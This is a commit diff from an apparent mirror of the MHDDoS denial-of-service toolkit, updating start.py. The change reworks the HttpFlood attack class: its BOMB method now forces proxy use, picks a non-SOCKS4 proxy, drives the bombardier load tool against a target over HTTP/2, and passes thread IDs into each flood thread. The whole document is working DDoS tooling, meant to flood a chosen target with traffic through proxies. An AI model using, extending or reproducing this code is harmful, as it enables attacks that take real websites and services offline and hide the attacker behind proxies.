mirror of https://github.com/MatrixTM/MHDDoS.git
Update start.py
This commit is contained in:
parent
afa3889375
commit
80ae8a9831
46
start.py
46
start.py
|
|
@ -16,7 +16,7 @@ from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, S
|
||||||
gethostname, socket)
|
gethostname, socket)
|
||||||
from ssl import CERT_NONE, SSLContext, create_default_context
|
from ssl import CERT_NONE, SSLContext, create_default_context
|
||||||
from struct import pack as data_pack
|
from struct import pack as data_pack
|
||||||
from subprocess import run
|
from subprocess import run, PIPE
|
||||||
from sys import argv
|
from sys import argv
|
||||||
from sys import exit as _exit
|
from sys import exit as _exit
|
||||||
from threading import Event, Thread
|
from threading import Event, Thread
|
||||||
|
|
@ -500,6 +500,7 @@ class HttpFlood(Thread):
|
||||||
SENT_FLOOD: Any
|
SENT_FLOOD: Any
|
||||||
|
|
||||||
def __init__(self,
|
def __init__(self,
|
||||||
|
thread_id: int,
|
||||||
target: URL,
|
target: URL,
|
||||||
host: str,
|
host: str,
|
||||||
method: str = "GET",
|
method: str = "GET",
|
||||||
|
|
@ -510,6 +511,7 @@ class HttpFlood(Thread):
|
||||||
proxies: Set[Proxy] = None) -> None:
|
proxies: Set[Proxy] = None) -> None:
|
||||||
Thread.__init__(self, daemon=True)
|
Thread.__init__(self, daemon=True)
|
||||||
self.SENT_FLOOD = None
|
self.SENT_FLOOD = None
|
||||||
|
self._thread_id = thread_id
|
||||||
self._synevent = synevent
|
self._synevent = synevent
|
||||||
self._rpc = rpc
|
self._rpc = rpc
|
||||||
self._method = method
|
self._method = method
|
||||||
|
|
@ -885,19 +887,31 @@ class HttpFlood(Thread):
|
||||||
Tools.safe_close(s)
|
Tools.safe_close(s)
|
||||||
|
|
||||||
def BOMB(self):
|
def BOMB(self):
|
||||||
pro = randchoice(self._proxies)
|
assert self._proxies, \
|
||||||
|
'This method requires proxies. ' \
|
||||||
|
'Without proxies you can use github.com/codesenberg/bombardier'
|
||||||
|
|
||||||
run([
|
while True:
|
||||||
f'{bombardier_path}',
|
proxy = randchoice(self._proxies)
|
||||||
f'--connections={self._rpc}',
|
if proxy.type != ProxyType.SOCKS4:
|
||||||
'--http2',
|
break
|
||||||
'--method=GET',
|
|
||||||
'--no-print',
|
res = run(
|
||||||
'--timeout=5s',
|
[
|
||||||
f'--requests={self._rpc}',
|
f'{bombardier_path}',
|
||||||
f'--proxy={pro}',
|
f'--connections={self._rpc}',
|
||||||
f'{self._target.human_repr()}',
|
'--http2',
|
||||||
])
|
'--method=GET',
|
||||||
|
'--latencies',
|
||||||
|
'--timeout=30s',
|
||||||
|
f'--requests={self._rpc}',
|
||||||
|
f'--proxy={proxy}',
|
||||||
|
f'{self._target.human_repr()}',
|
||||||
|
],
|
||||||
|
stdout=PIPE,
|
||||||
|
)
|
||||||
|
if self._thread_id == 0:
|
||||||
|
print(proxy, res.stdout.decode(), sep='\n')
|
||||||
|
|
||||||
def SLOW(self):
|
def SLOW(self):
|
||||||
payload: bytes = self.generate_payload()
|
payload: bytes = self.generate_payload()
|
||||||
|
|
@ -1372,9 +1386,9 @@ if __name__ == '__main__':
|
||||||
"RPC (Request Pre Connection) is higher than 100")
|
"RPC (Request Pre Connection) is higher than 100")
|
||||||
|
|
||||||
proxies = handleProxyList(con, proxy_li, proxy_ty, url)
|
proxies = handleProxyList(con, proxy_li, proxy_ty, url)
|
||||||
for _ in range(threads):
|
for thread_id in range(threads):
|
||||||
HttpFlood(url, host, method, rpc, event, uagents,
|
HttpFlood(thread_id, url, host, method, rpc, event,
|
||||||
referers, proxies).start()
|
uagents, referers, proxies).start()
|
||||||
|
|
||||||
if method in Methods.LAYER4_METHODS:
|
if method in Methods.LAYER4_METHODS:
|
||||||
target = URL(urlraw)
|
target = URL(urlraw)
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue